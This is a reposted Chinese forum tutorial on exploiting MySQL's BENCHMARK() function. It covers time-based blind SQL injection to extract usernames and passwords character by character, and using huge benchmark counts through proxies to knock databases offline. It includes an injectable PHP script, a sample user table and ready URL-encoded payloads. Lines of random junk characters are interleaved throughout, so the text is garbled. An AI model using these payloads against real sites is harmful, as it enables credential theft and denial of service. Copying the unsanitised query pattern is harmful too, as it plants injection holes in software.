中国网络渗透测试联盟
标题:
MYSQL中BENCHMARK函数的利用
[打印本页]
作者:
admin
时间:
2012-9-15 14:03
标题:
MYSQL中BENCHMARK函数的利用
MYSQL中BENCHMARK函数的利用
( u/ H. E6 `8 C& x6 Y
本文作者:SuperHei
+ J: c; v2 L; O& j+ _
文章性质:原创
) i2 U l; J1 Y, P/ w" v& {9 }
发布日期:2005-01-02
/ @; l W( R( |- K, j
完成日期:2004-07-09
2 l/ ?7 y0 \, X
第一部
" W8 y* ~3 R6 j3 {
% D6 j. E/ c+ {, Q" _) h6 s8 p: x
利用时间推延进行注射---BENCHMARK函数在注射中的利用
( F" k( X8 P5 @; ]( p, W8 K9 b
' u7 f0 G* `1 a! S- U* N
一.前言/思路
9 ?" k8 E* \- T0 ]
* {4 Z+ B, g4 M$ Y
如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
+ O) O* L0 \5 s5 f) B5 G& a
: B# `% c8 P/ Q
本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
1 k! B( |* r# Z- O0 R
; k6 n" k) g" G$ I$ X8 G
二.关于BENCHMARK函数
" L" p( p" Q B! J6 n
( f: j6 X1 p3 `9 m
在MySQL参考手册里可以看到如下描叙:
! o* P+ t& q) H! m; P/ ?
4 W( H T) n5 ~( e9 O7 C' l
8 U& l& O: _3 \
--------------------------------------------------------------------------------
4 T. j L& g$ n& \
) p8 Y8 w6 M; O$ W" n' n' }( l
BENCHMARK(count,expr)
" O1 D4 W% ]0 r/ `
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
+ I4 j2 ]5 C9 j! M, l
mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
/ k, _' q7 n: c& ^, N
+----------------------------------------------+
4 N2 G& e9 d& a& [/ p5 |
| BENCHMARK(1000000,encode("hello","goodbye")) |
( J3 z- y- Y, w+ s5 D% ?0 Q, Y3 g
+----------------------------------------------+
/ Z/ _" g) |- A% l* w7 d$ t
| 0 |
. B" R% ]3 e; {5 Y: F) ~$ b
+----------------------------------------------+
" Q& w8 Y8 G( ^! v& a
1 row in set (4.74 sec)
0 P1 M1 _/ Q, c( T
2 f: M" E5 ^+ K X0 ]
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
4 l9 q. @6 x8 g* Y
2 ]3 {( M$ j: ?- r* A( b( r
1 o6 v9 f6 h" [- x0 k
--------------------------------------------------------------------------------
# ?7 q L1 M+ t% a: O0 N1 H: u
' y$ ~3 B/ q: P& V
只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
" a8 ^( W# k1 M1 e- I+ v
' y9 t. y/ O+ t# b' j. P
mysql> select md5( 'test' );
+ |7 u( X+ Y# l8 y$ R' F1 w
+----------------------------------+
; G' O- @# K7 M0 `. |$ Q
| md5( 'test' ) |
7 o' S3 A/ _5 ]: o8 ] s8 y
+----------------------------------+
j+ o$ Y7 b" [8 E
| 098f6bcd4621d373cade4e832627b4f6 |
8 L8 D! Y2 P) U( [5 U( x- T% F
+----------------------------------+
: C* P. J4 \2 x
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
0 S' S. B+ Z8 E% ]
# ]. W v) b, |+ _# }
mysql> select benchmark( 500000, md5( 'test' ) );
9 F) h: ` ~- q
+------------------------------------+
" c" `$ ~5 ^+ S0 ?
| benchmark( 500000, md5( 'test' ) ) |
8 p3 i5 S g- R" V7 M8 `# H8 M
+------------------------------------+
2 S5 h' H: q4 P1 h
| 0 |
/ K* g! a! w: F
+------------------------------------+
# y& V3 R) b7 r4 p
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
) d, y; Z/ j" e, v
' o6 d( j+ C8 n1 c3 G$ Q
# K" C" V2 a# z, i" c+ F
由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
* A2 ]5 {3 { J
0 i" q4 u3 F) h/ E2 a( I
三.具体例子
6 l- { q( b" _, u" J
6 X" d( U. c3 \( ]& h
首先我们看个简单的php代码:
e6 w+ _; ]; o" t& s; S& o6 G
6 _3 O5 M t) w4 K# m# U5 Y
< ?php
! N0 L# v. s7 {2 b1 h! S4 z& J
$servername = "localhost";
L9 ~' ~& t, y- C; y
$dbusername = "root";
) w4 g" \( m. P) F
$dbpassword = "";
" v/ N8 D+ T: _4 [+ U2 Y2 i$ S, t, n
$dbname = "injection";
" Q/ K& ]( a# l) K1 l! r5 |
1 _$ M- X% ]. R
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
. H* u: Q) I9 ~$ N* v
+ f. l! a% `: R+ k1 L# j! f8 W5 _8 e
$sql = "SELECT * FROM article WHERE articleid=$id";
" q. }* b2 I8 V: b. M0 N
$result = mysql_db_query($dbname,$sql);
2 ?& Q5 ^8 r0 r
$row = mysql_fetch_array($result);
$ T' H' d( ] S2 R7 z0 F" N
1 [9 l O, U5 Q0 k
if (!$row)
9 X! o; D7 }5 Y$ O
{
8 J, Q3 k2 ^, L$ t
exit;
1 j+ I1 ^9 u/ X4 G% R/ \" k
}
+ i! D/ s& u" Q% b
?>
: Y! \0 M1 j$ x7 Q/ N; w
; P& Y# T' ~( U
, J, o1 b$ I; Z9 c$ P& \0 o& L
数据库injection结构和内容如下:
- S4 V' I5 R8 a
. A3 B k* A# W j! L, ~1 j' |
# 数据库 : `injection`
& R( q9 N( Y& n: {" n
#
' q0 T' E1 p$ a1 g1 J$ k ^8 D& z. N
# r, n5 I, i0 }4 \! E
# --------------------------------------------------------
" a4 O m, n6 g* w2 O& M" {1 ?
* k; m5 s( O: [
#
+ R; q2 Y1 _4 P9 O. a
# 表的结构 `article`
3 X- g) |( E, }% R6 ^6 `8 v( P
#
( L6 H% q4 ]5 m5 L: F( d" x7 ?# w
* k- Q) ]4 @8 i( h, `2 A
CREATE TABLE `article` (
* T) |# u% C; z/ a$ V
`articleid` int(11) NOT NULL auto_increment,
6 Y# B7 G; d. T% t' _' D1 _
`title` varchar(100) NOT NULL default '',
7 O# e9 g# q; Y( Q. G3 i; O7 [ R; x
`content` text NOT NULL,
8 T* A0 C7 _9 d1 k
PRIMARY KEY (`articleid`)
* @9 n% b. p( a7 j- ~' @! J
) TYPE=MyISAM AUTO_INCREMENT=3 ;
) d" B; o" q( W; f: [
4 j) |- \. A3 X% P7 K
#
" b; y/ Z4 v' s
# 导出表中的数据 `article`
" g+ u0 o& H( ~* B
#
; B5 L- g" V1 U% L
8 @6 p# ? c- k" C/ ^. u; M
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
+ O# c5 A% B4 G4 U1 v& [, _# X
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
' r8 c2 f% l% `7 D! [4 n4 x& g" P
4 s Y) {. @; G0 H9 }: |( @
# --------------------------------------------------------
3 I: ~+ c5 r9 q4 O: ~) q C
9 N& @: F }5 c* r' ]7 x. g
#
( |* Y1 W3 h9 [: A, }$ x
# 表的结构 `user`
; x, G2 T& c M1 f6 E2 \3 \. [
#
1 M6 X- D' }8 V
, Q/ i1 Z3 K: O
CREATE TABLE `user` (
/ w$ |1 Q2 g9 p0 ]$ _8 s. N
`userid` int(11) NOT NULL auto_increment,
. a5 R% g5 f8 Q0 {0 o9 ~5 }
`username` varchar(20) NOT NULL default '',
- [ `, |. t1 T( R& U8 d
`password` varchar(20) NOT NULL default '',
" D/ z7 V2 t. o+ Y( X
PRIMARY KEY (`userid`)
' {/ o; O3 [9 W& N. G, \# G1 K' ^
) TYPE=MyISAM AUTO_INCREMENT=3 ;
m* p, A( C0 T% C
& h) [2 T4 W" u! e+ {
#
8 H6 x# Q9 y- @9 \ n
# 导出表中的数据 `user`
1 c. \3 _" Q, ^! W$ {
#
- G9 R; L; l' k9 q
9 |! L$ y! C7 m' m0 M# P
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
! F$ x3 v! w6 a+ u
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
9 i1 F% l& L/ ]; o" I O/ B' @
[' N8 @7 }4 n9 @
! Z/ _/ J* m# P, a2 N
代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
, ?& G+ B% \3 [/ U
! s# \, {/ |7 d3 r- @
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
* }7 W0 @" L1 v) r: f0 ^! |
2 z& n$ D0 l0 T# L2 g
' _+ r8 g2 X1 Q+ J- ?# ^( G& C
上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
* S" g, u, B( {( o
( S5 ~' K4 x" ?& p P4 N+ _; E" z8 Y- ?! E
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201
,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
; E! V2 W( Q G! ^0 @: ]( [
9 I7 U' Z( e# h2 U+ k) O) Q+ l0 ]
& {$ I* z2 D! o: B ?
执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
3 K' E+ _3 @# ^1 K
' W7 H: K. t/ B
注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
0 \6 \0 I2 G' q, ~& q8 }
$ A& x' p$ E! x k$ K7 _
第二部
( Y h) U& q0 S& _
7 z, W( g. m% H$ k8 A0 R$ ]
利用BENCHMARK函数进行ddos攻击
) d1 c; n- K; L! w' U4 ~4 _
) Y. _: q7 h$ d" f- H x$ [6 `& ~
其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
" n- [* F$ A2 _1 X# r$ M
6 G( [. \% I$ p3 a% i- h9 ?
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201
,1,benchmark(99999999,md5(0x41))
+ H8 {( O/ F& q# ?8 E1 S
) S* r; K9 M) F4 x0 O
1 `8 |; b: \6 h: t4 L
小结
0 F4 I7 K7 W1 C( S9 l$ W
% \6 l/ G+ v/ j
本文主要思路来自
http://www.ngssoftware.com/papers/HackproofingMySQL.pdf
,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见
http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf
)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
! u) q2 v( C+ R# A, {/ Y
6 V7 o, ?7 b3 k, K
$ u/ @; \- Y) c! B7 ?
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2